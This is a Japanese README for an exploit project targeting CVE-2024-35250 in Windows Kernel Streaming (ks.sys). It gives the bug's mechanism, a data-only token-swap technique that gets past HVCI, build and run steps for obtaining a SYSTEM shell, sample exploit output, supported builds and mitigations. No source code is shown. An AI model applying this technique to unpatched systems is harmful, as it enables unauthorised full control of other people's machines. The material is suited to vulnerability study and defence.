
CVE-2024-35250は、HVCIがデータ専用カーネルエクスプロイトに対する防御策ではないことを示しています。ドライバのバグが任意のR/Wプリミティブを提供する限り、トークンスワップはコード実行を一切必要としない、普遍的なSYSTEM権限昇格テクニックであり続けます。
Windows Kernel Streaming ドライバー (ks.sys) における信頼されないポインタの逆参照によるローカル権限昇格。
データのみのエクスプロイト — ハイパーバイザーで保護されたコード整合性 (HVCI) をバイパスします。
| 項目 | 詳細 |
|---|---|
| CVE | CVE-2024-35250 |
| コンポーネント | ks.sys (Kernel Streaming) |
| バグ種別 | 信頼されないポインタの逆参照 |
| 影響 | NT AUTHORITY\SYSTEM への権限昇格 (EoP) |
| HVCI | 回避 — カーネル内でのコード実行なし |
| パッチ | KB5039212 (2024年6月) |
| 対象 | Windows 10 20H1+ / Windows 11 21H2-23H2 |
ks!KspPropertyHandler はトポロジレベルのプロパティ要求を
KspProcessPropertyNode を介してディスパッチします。ユーザーが指定した KSP_NODE
構造体の NodeId フィールドは、内部のオートメーションテーブル配列のインデックスとして
境界検証なしで使用されます:
NtDeviceIoControlFile
ks!CKSFilter::DispatchDeviceIoControl
ks!KspPropertyHandler
ks!KspProcessPropertyNode
*(automationTable + NodeId * stride) <-- attacker-controlled
実際のノード数を超えるように細工された NodeId は、逆参照を隣接するプールメモリに
リダイレクトし、境界外読み取り/書き込みプリミティブを生み出します。
このエクスプロイトはカーネルのデータ構造のみを操作します:
NtQuerySystemInformation を介して EPROCESS アドレスをリークActiveProcessLinks を辿って PID 4 (System) を特定シェルコードは注入されません。非署名のコードページは作成も実行もされません。 制御フローポインタは乗っ取られません。
| 保護機能 | 状態 |
|---|---|
| HVCI / KMCI | 回避 |
| SMEP | 未発動 |
| SMAP | 未発動 |
| kCFG | 未発動 |
| CET / Shadow Stack | 未発動 |
hvcipwned.sln を開くCtrl+Shift+B)出力バイナリ: x64\Release\hvcipwned.exe
cl.exe /nologo /W4 /O2 /TC ^
main.c device.c leak.c krw.c token.c exploit.c ^
/I ^
/Fe:exploit.exe ^
/link setupapi.lib kernel32.lib advapi32.lib
hvcipwned.exe
脆弱性のある(パッチ未適用の)システム上で、非特権ユーザーセッションから実行します。
成功すると、NT AUTHORITY\SYSTEM として実行される新しい cmd.exe ウィンドウが開きます。
[+] cve-2024-35250 exploit
[+] ks.sys untrusted pointer dereference -> eop
[~] hvci bypass via data-only attack
[+] os: 10.0.19045
[+] offsets: pid=0x440 links=0x448 token=0x4b8
[+] device: \\?\hdaudio#func_01&ven_10ec...
[+] device handle: 0x00000000000000f4
[~] calibrating r/w primitive...
[+] kernel base: 0xfffff80140000000
[~] spraying named pipes for pool layout...
[+] sprayed 5000 pipe pairs
[~] poking hole at index 2500...
[~] scanning for kernel pointer via oob read...
[+] found kernel ptr at node 3 offset 2: 0xffffa70500000000
[+] pipe object kernel addr: 0xffffa70500000000
[+] r/w primitive initialized (mode 1)
[+] current eprocess: 0xffffa705d90f4080
[+] kernel read pid: 1234 (expected: 1234)
[+] system eprocess: 0xffffa70500004080
[+] system token: 0xffffa70512345673
[+] token after swap: 0xffffa70512345670
[+] token swap successful
[+] escalation complete
[+] elevated shell spawned (pid: 5678)
press enter to exit...
hvcipwned/
├── hvcipwned.sln
├── hvcipwned.vcxproj
├── hvcipwned.vcxproj.filters
├── README.md
├── LICENSE
├── .gitignore
├── common.h - types, log macros, nt api typedefs
├── offsets.h - per-build eprocess field offsets
├── device.h - ks device enumeration
├── leak.h - kernel address leaks
├── krw.h - r/w primitive context
├── token.h - token swap + shell spawn
└── exploit.h - top-level entry
├── main.c - entry point
├── device.c - setupapi device open
├── leak.c - NtQuerySystemInformation leaks
├── krw.c - vulnerability trigger + pool spray + r/w
├── token.c - eprocess walk + token overwrite
└── exploit.c - orchestration
オフセットは実行時に RtlGetVersion を介して自動的に解決されます。
このプロジェクトは、正規のセキュリティ研究および教育目的のみで提供されます。 明示的な書面による許可なしに、システムに対して使用しないでください。 作者は、本ソフトウェアの誤用またはそれによって引き起こされた損害について一切の責任を負いません。
| OS | Build | 状態 |
|---|
| Windows 10 20H1 | 19041 | 対応 |
| Windows 10 20H2 | 19042 | 対応 |
| Windows 10 21H1 | 19043 | 対応 |
| Windows 10 21H2 | 19044 | 対応 |
| Windows 10 22H2 | 19045 | 対応 |
| Windows 11 21H2 | 22000 | 対応 |
| Windows 11 22H2 | 22621 | 対応 |
| Windows 11 23H2 | 22631 | 対応 |
| 対策 | 詳細 |
|---|
| パッチ | KB5039212 (2024年6月) 以降をインストール |
| 検知 | KSPROPERTY_TYPE_TOPOLOGY フラグ付きの IOCTL_KS_PROPERTY を監視 |
| EDR | EtwTi カーネルコールバックによるトークン整合性の変更をアラート |
| 強化 | DACL を介して KS デバイスインターフェイスへのユーザーアクセスを制限 |